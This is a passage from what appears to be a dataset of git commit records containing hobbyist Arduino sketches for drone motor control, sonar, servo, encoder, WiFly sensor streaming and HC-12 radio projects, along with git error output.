}\n\n \/\/ Roll angle\n uav_value.b[0] = reply[19];\n uav_value.b[1] = reply[18];\n uav_value.b[2] = reply[17];\n uav_value.b[3] = reply[16];\n euler[0] = uav_value.val;\n \n \/\/ Pitch angle\n uav_value.b[0] = reply[23];\n uav_value.b[1] = reply[22];\n uav_value.b[2] = reply[21];\n uav_value.b[3] = reply[20];\n euler[1] = uav_value.val;\n \n \/\/ Yaw angle\n uav_value.b[0] = reply[27];\n uav_value.b[1] = reply[26];\n uav_value.b[2] = reply[25];\n uav_value.b[3] = reply[24];\n euler[2] = uav_value.val; \n\n \/\/ X Acceleration\n uav_value.b[0] = reply[33];\n uav_value.b[1] = reply[32];\n uav_value.b[2] = reply[31];\n uav_value.b[3] = reply[30];\n accl[0] = uav_value.val;\n \n \/\/ Y Acceleration\n uav_value.b[0] = reply[37];\n uav_value.b[1] = reply[36];\n uav_value.b[2] = reply[35];\n uav_value.b[3] = reply[34];\n accl[1] = uav_value.val;\n \n \/\/ Z Acceleration\n uav_value.b[0] = reply[41];\n uav_value.b[1] = reply[40];\n uav_value.b[2] = reply[39];\n uav_value.b[3] = reply[38];\n accl[2] = uav_value.val; \n \n \/\/ X gyro\n uav_value.b[0] = reply[47];\n uav_value.b[1] = reply[46];\n uav_value.b[2] = reply[45];\n uav_value.b[3] = reply[44];\n gyro[0] = uav_value.val;\n \n \/\/ Y gyro\n uav_value.b[0] = reply[51];\n uav_value.b[1] = reply[50];\n uav_value.b[2] = reply[49];\n uav_value.b[3] = reply[48];\n gyro[1] = uav_value.val;\n \n \/\/ Z gyro\n uav_value.b[0] = reply[55];\n uav_value.b[1] = reply[54];\n uav_value.b[2] = reply[53];\n uav_value.b[3] = reply[52];\n gyro[2] = uav_value.val; \n \n return reply[7];\n }\n}\n\n\n\/\/ =================== RC\/MOTOR control code ===========================================\n\/\/ simple interrupt service routine\nvoid calcThrottle()\n{\n if(digitalRead(RC_THROTTLE) == HIGH)\n {\n ulThrottleStart = micros();\n }\n else\n {\n unThrottleInShared = (uint16_t)(micros() - ulThrottleStart);\n bUpdateFlagsShared |= THROTTLE_FLAG;\n }\n}\n\n\nvoid calcYaw()\n{\n if(digitalRead(RC_YAW) == HIGH)\n {\n ulYawStart = micros();\n }\n else\n {\n unYawInShared = (uint16_t)(micros() - ulYawStart);\n bUpdateFlagsShared |= YAW_FLAG;\n }\n}\n\nvoid calcPitch()\n{\n if(digitalRead(RC_PITCH) == HIGH)\n {\n ulPitchStart = micros();\n }\n else\n {\n unPitchInShared = (uint16_t)(micros() - ulPitchStart);\n bUpdateFlagsShared |= PITCH_FLAG;\n }\n}\n\n\nvoid calcRoll()\n{\n if(digitalRead(RC_ROLL) == HIGH)\n {\n ulRollStart = micros();\n }\n else\n {\n unRollInShared = (uint16_t)(micros() - ulRollStart);\n bUpdateFlagsShared |= ROLL_FLAG;\n }\n}\n\n\nvoid readRC(int channels[]) {\n \/\/ local copy of channel inputs\n static uint16_t unThrottleIn, unYawIn, unPitchIn, unRollIn;\n \n \/\/ local copy of update flags\n static uint8_t bUpdateFlags;\n\n \/\/ check shared update flags to see if any channels have a new signal\n if(bUpdateFlagsShared)\n {\n noInterrupts(); \/\/ turn interrupts off quickly while we take local copies of the shared variables\n\n \/\/ take a local copy of which channels were updated in case we need to use this in the rest of loop\n bUpdateFlags = bUpdateFlagsShared;\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n unThrottleIn = unThrottleInShared;\n }\n \n if(bUpdateFlags & ROLL_FLAG)\n {\n unRollIn = unRollInShared;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n unPitchIn = unPitchInShared;\n }\n \n if(bUpdateFlags & YAW_FLAG)\n {\n unYawIn = unYawInShared;\n }\n \n bUpdateFlagsShared = 0;\n \n interrupts(); \n }\n \n if(bUpdateFlags & THROTTLE_FLAG)\n {\n channels[0] = unThrottleIn;\n }\n\n if(bUpdateFlags & ROLL_FLAG)\n {\n channels[1] = unRollIn;\n }\n\n if(bUpdateFlags & PITCH_FLAG)\n {\n channels[2] = unPitchIn;\n\n } \n\n if(bUpdateFlags & YAW_FLAG)\n {\n channels[3] = unYawIn;\n } \n\n bUpdateFlags = 0;\n}\n\n\nvoid setup()\n{\n \/\/ Start serial communication channel\n Serial.begin(115200);\n\n \/\/ Attach interrupts to RC arduino pins\n PCintPort::attachInterrupt(RC_THROTTLE,calcThrottle,CHANGE);\n PCintPort::attachInterrupt(RC_ROLL,calcRoll,CHANGE);\n PCintPort::attachInterrupt(RC_PITCH,calcPitch,CHANGE);\n PCintPort::attachInterrupt(RC_YAW,calcYaw,CHANGE);\n\n \/\/ Attach ESC's to arduino pins\n ESC1.attach(MOTOR_FL);\n ESC2.attach(MOTOR_FR);\n ESC3.attach(MOTOR_BL);\n ESC4.attach(MOTOR_BR);\n\n \/\/ Set RC channel value to \"rest\"\n channels[0] = RC_MIN;\n channels[1] = RC_MID;\n channels[2] = RC_MID; \n channels[3] = RC_MID;\n\n \/\/ Read \"rest\" euler, gyro and accl values\n if (readIMU(euler, gyro, accl) == '\\x00') {\n roll = rad2deg(euler[0]);\n pitch = rad2deg(euler[1]);\n yaw = rad2deg(euler[2]);\n x_gyro = rad2deg(gyro[0]);\n y_gyro = rad2deg(gyro[1]);\n z_gyro = rad2deg(gyro[2]);\n }\n else {\n roll = 0.0;\n pitch = 0.0;\n yaw = 0.0;\n x_gyro = 0.0;\n y_gyro = 0.0;\n z_gyro = 0.0;\n } \n\n \/\/ Set PID mode\n yaw_stab_pid.SetMode(AUTOMATIC);\n\n \/\/ Delay of 10 ms\n delay(10);\n}\n\nvoid loop()\n{\n \/\/ Read IMU 10-15 times and average the Euler angle and rotational speed values\n for (int i = 0; i < NITER; i++){\n if (readIMU(euler, gyro, accl) == '\\x00'){\n roll_val[i] = rad2deg(euler[0]);\n pitch_val[i] = rad2deg(euler[1]);\n yaw_val[i] = rad2deg(euler[2]);\n x_gyro_val[i] = rad2deg(gyro[0]);\n y_gyro_val[i] = rad2deg(gyro[1]);\n z_gyro_val[i] = rad2deg(gyro[2]);\n }\n }\n\n \/\/ Mean value of Euler angles and rotational speed\n roll = mean(roll_val);\n pitch = mean(pitch_val);\n yaw = mean(yaw_val);\n x_gyro = mean(x_gyro_val);\n y_gyro = mean(y_gyro_val);\n z_gyro = mean(z_gyro_val);\n\n \/\/ Display IMU values\n Serial.println(roll);\n Serial.println(pitch);\n Serial.println(yaw);\n Serial.println(x_gyro);\n Serial.println(y_gyro);\n Serial.println(z_gyro);\n \n \/\/ Read RC channel values\n readRC(channels);\n\n if (channels[1] == 0 & channels[2] == 0 & channels[3] == 0) {\n channels[0] = RC_MIN;\n channels[1] = RC_MID;\n channels[2] = RC_MID; \n channels[3] = RC_MID;\n }\n\n \/\/ Apart from throttle, map roll, pitch and yaw to angles in degrees\n rcthr = channels[0];\n rcroll = map(channels[1], RC_MIN, RC_MAX, -15, 15);\n rcpit = map(channels[2], RC_MIN, RC_MAX, -15, 15);\n rcyaw = map(channels[3], RC_MIN, RC_MAX, -150, 150);\n \n Serial.println(\"RC constrained values:\");\n Serial.println(rcthr);\n Serial.println(rcroll);\n Serial.println(rcpit);\n Serial.println(rcyaw);\n\n \/\/ Stablization PID\n \/\/roll_stab_pid.Compute();\n \/\/pitch_stab_pid.Compute();\n \/\/yaw_stab_pid.Compute();\n\n \/\/Serial.println(roll_stab_out);\n \/\/Serial.println(pitch_stab_out); \n \/\/Serial.println(yaw_stab_out);\n\n \/\/roll_stab_out = constrain(roll_stab_out, -250, 250);\n \/\/pitch_stab_out = constrain(pitch_stab_out, -250, 250);\n \/\/yaw_stab_out = constrain(yaw_stab_out, -360, 360);\n \n \/\/ Rate PID\n \/\/roll_rate_pid.Compute();\n \/\/pitch_rate_pid.Compute();\n \/\/yaw_rate_pid.Compute();\n\n \/\/Serial.println(roll_out);\n \/\/Serial.println(pitch_out); \n \/\/Serial.println(yaw_out);\n\n \/\/roll_output = constrain(roll_out, -150, 150);\n \/\/pitch_output = constrain(pitch_out, -150, 150);\n \/\/yaw_output = constrain(yaw_out, -500, 500);\n\n pwm1 = constrain(rcthr - rcroll - rcpit - rcyaw, RC_MIN, RC_MAX);\n pwm2 = constrain(rcthr + rcroll - rcpit + rcyaw, RC_MIN, RC_MAX);\n pwm3 = constrain(rcthr - rcroll + rcpit + rcyaw, RC_MIN, RC_MAX);\n pwm4 = constrain(rcthr + rcroll + rcpit - rcyaw, RC_MIN, RC_MAX);\n\n \/\/pwm1 = constrain(rcthr - roll_output - pitch_output - yaw_output, RC_MIN, RC_MAX);\n \/\/pwm2 = constrain(rcthr + roll_output - pitch_output + yaw_output, RC_MIN, RC_MAX);\n \/\/pwm3 = constrain(rcthr - roll_output + pitch_output + yaw_output, RC_MIN, RC_MAX);\n \/\/pwm4 = constrain(rcthr + roll_output + pitch_output - yaw_output, RC_MIN, RC_MAX);\n\n pwm1 = map(pwm1, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm2 = map(pwm2, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm3 = map(pwm3, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n pwm4 = map(pwm4, RC_MIN, RC_MAX, ESC_MIN, ESC_MAX);\n\n Serial.println(\"ESC pwm values:\");\n Serial.println(pwm1);\n Serial.println(pwm2);\n Serial.println(pwm3);\n Serial.println(pwm4);\n \n ESC1.writeMicroseconds(pwm1);\n ESC2.writeMicroseconds(pwm2);\n ESC3.writeMicroseconds(pwm3);\n ESC4.writeMicroseconds(pwm4);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/src\/T-80AFLAME\/uav_pid_roll_pitch\/uav_pid_roll_pitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db895041ea3d4ad6c904ca173f050fc95dd536ba","subject":"Adds two sonar sketch","message":"Adds two sonar sketch\n","repos":"halfdanrump\/somethingnice,halfdanrump\/somethingnice","old_file":"arduino\/two_sonar\/two_sonar.ino","new_file":"arduino\/two_sonar\/two_sonar.ino","new_contents":"#include <config.h>\n#include <utilsawesome.h>\n\n\/*\nFreakduino Chibi-9000\n\nCollects data from different sensors and sends it to \nthe aggregator as defined in \"config.h\"\n*\/\n\n#include <chibi.h>\n\n\/**************************************************************************\/\n\/\/ Initialize\n\/**************************************************************************\/\nvoid setup()\n{\n \/\/ Initialize the chibi command line and set the speed to 57600 bps\n chibiCmdInit(57600);\n \n \/\/ Initialize the chibi wireless stack\n chibiInit();\n\n\/\/ Serial.println(\"Type,\\tstatus,\\tHumidity (%),\\tTemperature (C)\");\n}\n\n\/**************************************************************************\/\n\/\/ Loop\n\/**************************************************************************\/\nvoid loop()\n{\n\n byte tx_buf[TX_LENGTH];\n memset(tx_buf, 0, TX_LENGTH);\n long duration, inches, cm;\n \n \/\/ Read sonar distance\n float distance = sonar_measure_distance(A0);\n if (distance > 0) {\n Reading dist = {\"distance\", distance, millis()};\n add_to_tx_buf((char*)tx_buf, &dist);\n }\n\n distance = sonar_measure_distance(A1);\n if (distance > 0) {\n Reading dist = {\"distance\", distance, millis()};\n add_to_tx_buf((char*)tx_buf, &dist);\n }\n \n \/\/Send data stored on \"tx_buf\" to collector\n chibiTx(AGGREGATOR_SHORT_ADDRESS, tx_buf, TX_LENGTH);\n\n \/\/ Debug print\n Serial.println((char*) tx_buf);\n\n free(tx_buf);\n \/\/Wait\n delay(1000);\n}\n\nfloat sonar_measure_distance(int pin){\n int checkTimes = 10;\n long duration, cm;\n\n \/\/ read sensor data and send average data\n int sum = 0;\n for (int i=0; i<checkTimes; i++){\n delay(10);\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pin, OUTPUT);\n digitalWrite(pin, LOW);\n delayMicroseconds(2);\n digitalWrite(pin, HIGH);\n delayMicroseconds(5);\n digitalWrite(pin, LOW);\n \n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pin, INPUT);\n duration = pulseIn(pin, HIGH);\n \n \/\/ convert the time into a distance\n cm = microsecondsToCentimeters(duration);\n if(VERBOSE == 1){ \n Serial.print(i);\n Serial.print(cm, 1);\n Serial.print(\"cm\");\n Serial.println();\n }\n \n sum += cm;\n }\n float average = sum\/(float)checkTimes;\n if(VERBOSE == 1){\n Serial.print(\"Average: \");\n Serial.println(average, 1);\n Serial.println();\n }\n return average;\n}\n\nlong microsecondsToCentimeters(long microseconds)\n{\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/two_sonar\/two_sonar.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0167403f131fadb554bb0a211dedea79d519844e","subject":"created dummy scripts folder for arduino","message":"created dummy scripts folder for arduino\n","repos":"cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics,cyrillegin\/Aquaponics","old_file":"arduino\/servo\/servo.ino","new_file":"arduino\/servo\/servo.ino","new_contents":"#include <Servo.h> \n\nServo servo; \n\nint servoPin = 3; \nint minAngle = 0;\nint maxAngle = 155;\n\nint currentAngle = 90;\n\nvoid setup() { \n servo.attach(servoPin); \n Serial.begin(9600);\n}\n\nvoid loop(){ \n \n String incoming = Serial.readString();\n\n \/\/ Check if number has been recieved.\n if (incoming.length() == 0) {\n return;\n }\n for(int i = 0; i < incoming.length(); i++) {\n if (isdigit(incoming[i]) == false) {\n return;\n }\n }\n \n currentAngle = incoming.toInt();\n\n \/\/ Make sure that number is within the bounds of the servo\n if (currentAngle < minAngle) {\n currentAngle = minAngle;\n }\n if (currentAngle > maxAngle) {\n currentAngle = maxAngle;\n }\n\n servo.write(currentAngle);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/servo\/servo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bb8c3f850d08c26ed6c1d294a9e01a569f2059b4","subject":"Added servo declarations","message":"Added servo declarations\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"90f24b26d12897c92024b1f236b27d84a7312d1c","subject":"Commit first draft","message":"Commit first draft\n","repos":"ulrich\/robot","old_file":"src\/Main\/Main.ino","new_file":"src\/Main\/Main.ino","new_contents":"#include <Encoder.h>\n\nEncoder myEnc(7, 8);\n\nint vitesse = 50;\nvoid setup() {\n pinMode(9, OUTPUT);\n pinMode(10, OUTPUT);\n pinMode(11, OUTPUT);\n pinMode(12, OUTPUT);\n\n analogWriteFrequency(9, 16000);\n analogWriteFrequency(10, 16000);\n\n Serial.begin(9600);\n Serial.println(\"Basic Encoder Test:\");\n \/\/ left\n analogWrite(9, vitesse);\n digitalWrite(11, HIGH);\n\n \/\/ right\n analogWrite(10, vitesse);\n digitalWrite(12, HIGH);\n}\n\nlong oldPosition = -999;\n\nvoid loop() {\n \/* long newPosition = myEnc.read();\n if (newPosition != oldPosition) {\n oldPosition = newPosition;\n Serial.println(newPosition);\n\n double speed = (5000 - newPosition);\n Serial.print(\"p= \");\n Serial.print(newPosition);\n Serial.print(\", speed= \");\n Serial.println(speed);\n\n if (speed > 0) {\n analogWrite(10, speed > 60 ? 60 : speed);\n digitalWrite(11, LOW);\n } else {\n analogWrite(10, -speed > 60 ? 60 : - speed);\n digitalWrite(11, HIGH);\n }*\/\n\n\tif (Serial.available() > 0) {\n\t\tint incomingByte = Serial.parseInt();\n\t\tSerial.print(\"USB received: \");\n\t\tSerial.println(incomingByte);\n analogWrite(9, incomingByte);\n\t}\n\n \/\/ left\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Main\/Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4cff1f6e795b13155c75cfda159d3918ec0e343","subject":"Updates Arduino","message":"Updates Arduino\n","repos":"MacgyverPT\/Arduino-RC_Car","old_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_file":"Data\/ArduinoSketch\/ArduinoSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MacgyverPT\/Arduino-RC_Car.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"50d26446fca80187702167019255c545936cf83e","subject":"updated arduino for wiFly","message":"updated arduino for wiFly\n","repos":"jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs,jmsaavedra\/NWS_Collabs","old_file":"Spring_2014\/firmware\/nws_sensor11\/nws_sensor11.ino","new_file":"Spring_2014\/firmware\/nws_sensor11\/nws_sensor11.ino","new_contents":"\/*\n *\n * This sketch implements a simple UDP client that sends UDP packets\n * to two UDP servers.\n *\n * This sketch is released to the public domain.\n *\n *\/\n \n \n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303_U.h>\n#include <SoftwareSerial.h>\n#include <WiFlyHQ.h>\n\nAdafruit_LSM303_Accel_Unified accel = Adafruit_LSM303_Accel_Unified(54321);\nAdafruit_LSM303_Mag_Unified mag = Adafruit_LSM303_Mag_Unified(12345);\n\n\n\/\/ Accelerometer Variables\nfloat rawAccelX; \nfloat rawAccelY;\nfloat rawAccelZ;\nint AccelX;\nint AccelY;\nint AccelZ;\n\n\n\/\/ Magnetometer Variables\nfloat rawMagneX;\nfloat rawMagneY;\nfloat rawMagneZ;\nint MagneX;\nint MagneY;\nint MagneZ;\n\n\nconst int accelLow = -20; \/\/ Constrained Accelerometer Values\nconst int accelHigh = abs(accelLow);\nconst int magneLow = -20; \/\/ Constrained Magnetometer Values\nconst int magneHigh = abs(magneLow);\nint mapValue = 255; \/\/ Maximum output value (Set to byte data type)\n\nString id = \"0\";\n\n\/* Change these to match your WiFi network *\/\nconst char mySSID[] = \"internetz\";\nconst char myPassword[] = \"1nt3rn3tz\";\n\nvoid terminal();\n\nWiFly wifly;\n\nvoid setup()\n{\n char buf[32];\n\n Serial.begin(115200);\n\n Serial.println(\"Starting\");\n Serial.print(\"Free memory: \");\n Serial.println(wifly.getFreeMemory(),DEC);\n\n Serial1.begin(9600);\n if (!wifly.begin(&Serial1, &Serial)) {\n Serial.println(\"Failed to start wifly\");\n terminal();\n }\n\n if (wifly.getFlushTimeout() != 10) {\n Serial.println(\"Restoring flush timeout to 10msecs\");\n wifly.setFlushTimeout(10);\n wifly.save();\n wifly.reboot();\n }\n\n \/* Join wifi network if not already associated *\/\n if (!wifly.isAssociated()) {\n \/* Setup the WiFly to connect to a wifi network *\/\n Serial.println(\"Joining network\");\n wifly.setSSID(mySSID);\n wifly.setPassphrase(myPassword);\n\n\n if (wifly.join()) {\n Serial.println(\"Joined wifi network\");\n }\n else {\n Serial.println(\"Failed to join wifi network\");\n terminal();\n }\n }\n else {\n Serial.println(\"Already joined network\");\n }\n\n \/* Setup for UDP packets, sent automatically *\/\n wifly.setIpProtocol(WIFLY_PROTOCOL_UDP);\n \/* Set UDP packet to server and port *\/\n wifly.setHost(\"10.0.1.11\", 11999); \n\n Serial.print(\"MAC: \");\n Serial.println(wifly.getMAC(buf, sizeof(buf)));\n Serial.print(\"IP: \");\n Serial.println(wifly.getIP(buf, sizeof(buf)));\n Serial.print(\"Netmask: \");\n Serial.println(wifly.getNetmask(buf, sizeof(buf)));\n Serial.print(\"Gateway: \");\n Serial.println(wifly.getGateway(buf, sizeof(buf)));\n\n wifly.setDeviceID(\"Wifly-UDP\");\n Serial.print(\"DeviceID: \");\n Serial.println(wifly.getDeviceID(buf, sizeof(buf)));\n\n Serial.println(\"WiFly ready\");\n\n if(!accel.begin()) while(1);\n if(!mag.begin()) while(1);\n}\n\nuint32_t count=0;\nuint8_t tick=0;\nuint32_t lastSend = 0; \/* Last time message was sent *\/\n\nvoid loop()\n{\n\n sensors_event_t event;\n \n String data;\n data = id + \"\\t\";\n \n \/\/ GET, MAP, AND PRINT ACCELEROMETER READINGS\n accel.getEvent(&event);\n rawAccelX = constrain(event.acceleration.x, accelLow, accelHigh);\n rawAccelY = constrain(event.acceleration.y, accelLow, accelHigh);\n rawAccelZ = constrain(event.acceleration.z, accelLow, accelHigh);\n AccelX = int(map(rawAccelX, accelLow, accelHigh, 0, mapValue));\n AccelY = int(map(rawAccelY, accelLow, accelHigh, 0, mapValue));\n AccelZ = int(map(rawAccelZ, accelLow, accelHigh, 0, mapValue));\n \n data += AccelX;\n data += \"\\t\";\n data += AccelY;\n data += \"\\t\";\n data += AccelZ;\n data += \"\\t\";\n\n \/\/ GET, MAP, AND PRINT MAGNETOMETER READINGS\n mag.getEvent(&event);\n rawMagneX = constrain(event.magnetic.x, magneLow, magneHigh);\n rawMagneY = constrain(event.magnetic.y, magneLow, magneHigh);\n rawMagneZ = constrain(event.magnetic.z, magneLow, magneHigh);\n MagneX = int(map(rawMagneX, magneLow, magneHigh, 0, mapValue));\n MagneY = int(map(rawMagneY, magneLow, magneHigh, 0, mapValue));\n MagneZ = int(map(rawMagneZ, magneLow, magneHigh, 0, mapValue));\n\n data += MagneX;\n data += \"\\t\";\n data += MagneY;\n data += \"\\t\";\n data += MagneZ;\n data += \"\\t\";\n \n data += \"[\/p]\";\n delay(10);\n wifly.print(data);\n delay(100); \/\/for now!\n \n }\n \n void terminal()\n{\n Serial.println(\"Terminal ready\");\n while (1) {\n if (wifly.available() > 0) {\n Serial.write(wifly.read());\n }\n\n if (Serial.available()) {\n wifly.write(Serial.read());\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Spring_2014\/firmware\/nws_sensor11\/nws_sensor11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ca416119b69a94418aecfb1361f607605fc979e","subject":"test code;","message":"test code;\n","repos":"Andrey-Prikupets\/RC,Andrey-Prikupets\/RC,Andrey-Prikupets\/RC","old_file":"inav_radar_hc12\/inav_radar_hc12.ino","new_file":"inav_radar_hc12\/inav_radar_hc12.ino","new_contents":"#include <Arduino.h>\n#include <avr\/pgmspace.h>\n\n#include <U8g2lib.h>\n\n#include <EEPROM.h>\n\n#include <SoftwareSerial.h>\n\nSoftwareSerial HC12(10, 11); \/\/ HC-12 TX Pin, HC-12 RX Pin\n\n#define PIN_SET 12\n\n#define FPSTR(pstr_pointer) (reinterpret_cast<const __FlashStringHelper *>(pstr_pointer))\n\n\/\/#include \"debug.h\"\n\n\/*\n#ifdef DEBUG \/\/ Allocate less display memory in DEBUG mode;\n U8G2_SSD1306_64X48_ER_1_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n#else\n U8G2_SSD1306_64X48_ER_F_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n#endif\n*\/\n\nuint8_t char_height;\nuint8_t char_width;\nuint8_t screen_width;\nuint8_t screen_height;\n\n\/\/ Display selection; Note: after changing display may need to re-design menu;\n#ifdef DEBUG \/\/ Allocate less display memory in DEBUG mode;\n U8G2_SH1106_128X64_NONAME_1_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n \/\/ U8G2_SSD1306_64X48_ER_1_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n#else\n \/\/ U8G2_SSD1306_64X48_ER_F_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n U8G2_SH1106_128X64_NONAME_2_HW_I2C u8g(U8G2_R0); \/\/ hardware \/\/ F - fastest, 1 - slowest, 2 - medium;\n#endif\n\n\n\/\/ SeralCommand -> https:\/\/github.com\/kroimon\/Arduino-SerialCommand.git\n#include <SerialCommand.h>\n\n\/\/ PROGMEM enabled draw functions -----------------------\nsize_t getLength_F(const __FlashStringHelper *ifsh)\n{\n PGM_P p = reinterpret_cast<PGM_P>(ifsh);\n size_t n = 0;\n while (1) {\n unsigned char c = pgm_read_byte(p++);\n if (c == 0) break;\n n++;\n }\n return n;\n}\n\n\/\/ Moves cursor X position - good for sequential calls;\nvoid drawStr_F(uint8_t x, uint8_t y, const __FlashStringHelper* s_P) {\n u8g.setCursor(x, y);\n u8g.print(s_P);\n}\n\nvoid drawStrRight_F(uint8_t x, uint8_t y, const __FlashStringHelper* s_P) {\n u8g.setCursor((uint8_t) screen_width-x-getLength_F(s_P)*char_width, y);\n u8g.print(s_P);\n}\n\nvoid drawCentered_F(int y, const __FlashStringHelper* s_P) {\n u8g.setCursor((screen_width-(getLength_F(s_P)+1)*char_width)\/2, y); \n u8g.print(s_P);\n}\n\nvoid drawVal_F(uint8_t x, uint8_t y, unsigned int value, const __FlashStringHelper* s_P) {\n char buf[10];\n u8g.setCursor(x, y);\n u8g.print(s_P);\n itoa(value, buf, 10);\n u8g.print(buf); \n}\n\nvoid prepare(void) {\n u8g.setFont(u8g_font_5x8); \/\/ u8g_font_6x10\n u8g.setFontRefHeightText();\n u8g.setFontPosTop();\n u8g.setDrawColor(1);\n\n char_height = u8g.getMaxCharHeight(); \/\/ u8g.getFontAscent()-u8g.getFontDescent()+1; \n char_width = u8g.getStrWidth(\"W\")+1;\n screen_width = (uint8_t) u8g.getWidth();\n screen_height = (uint8_t) u8g.getHeight();\n \n Serial.println(); \n Serial.print(\"char \"); Serial.print(char_width); Serial.print(\"x\"); Serial.print(char_height); \n Serial.print(\" screen \"); Serial.print(screen_width); Serial.print(\"x\"); Serial.println(screen_height); \n}\n\n#define MAX_PACKET_LEN 25\n\nstatic char buf[MAX_PACKET_LEN+1];\nstatic uint8_t buf_pos = 0;\nstatic uint16_t packet = 0;\n\nvoid sendCommand(char* command) {\n digitalWrite(PIN_SET, LOW);\n delay(100);\n HC12.write(buf, buf_pos);\n HC12.flush();\n delay(500);\n digitalWrite(PIN_SET, HIGH);\n delay(100);\n}\n\nbool echo = false;\n\nvoid handlePacket(void) {\n Serial.println(); Serial.print(\"Packet: \"); Serial.print(packet); Serial.print(\" Len=\"); Serial.println(buf_pos);\n drawPacket();\n if (echo) {\n HC12.write(buf, buf_pos);\n HC12.println();\n HC12.flush();\n }\n if (strncmp(buf, \"AT+ECHO=0\", 9) == 0) {\n echo = false;\n HC12.println(\"ECHO=0\");\n HC12.flush();\n } else \n if (strncmp(buf, \"AT+ECHO=1\", 9) == 0) {\n echo = true;\n HC12.println(\"ECHO=1\");\n HC12.flush();\n } else \n if (strncmp(buf, \"AT+\", 3) == 0) {\n sendCommand(buf);\n Serial.print(\"Command: \"); Serial.println(packet);\n } \n}\n\nvoid drawPacket(void) {\n \/\/ picture loop \n \n u8g.firstPage();\n do {\n drawVal_F(0, 0, packet, F(\"#\"));\n drawVal_F(char_width*7, 0, buf_pos, F(\"Len:\"));\n u8g.setCursor(0, char_height*2);\n u8g.print(buf);\n } while( u8g.nextPage() );\n}\n\nvoid drawLogo(void) {\n \/\/ picture loop \n u8g.firstPage();\n do {\n drawCentered_F(0, F(\"iNAV Radar for HC-12\"));\n drawCentered_F(char_height*2, F(\"(c) by Andrey Prikupets\"));\n } while( u8g.nextPage() );\n \n delay(1200);\n}\n\nvoid setup(void) {\n u8g.begin();\n Serial.begin(115200); \/\/ Serial port to computer\n\n pinMode(PIN_SET, OUTPUT);\n digitalWrite(PIN_SET, HIGH); \/\/ 1=data mode; 0=AT commands mode;\n\n HC12.begin(2400); \/\/ Serial port to HC12\n\n prepare();\n drawLogo();\n}\n\nvoid loop(void) {\n bool completed = false;\n while (HC12.available() && buf_pos < MAX_PACKET_LEN && !completed) {\n char ch = HC12.read();\n Serial.write(ch);\n if (buf_pos > 0 && ch == 0x0A && buf[buf_pos-1] == 0x0D) {\n completed = true;\n buf_pos--; \/\/ remove 0x0D;\n buf[buf_pos] = 0;\n } else {\n buf[buf_pos++] = ch;\n }\n }\n if (buf_pos >= MAX_PACKET_LEN || completed) {\n handlePacket();\n buf_pos = 0;\n packet++;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'inav_radar_hc12\/inav_radar_hc12.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"987368ae508b4119228c27fc636a132d10d9a928","subject":"Create So_Simple_Decoder.ino","message":"Create So_Simple_Decoder.ino\n\n1. \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f decodeUBX().\r\n2. \u0417\u0430\u043c\u0435\u043d\u0435\u043d\u0430 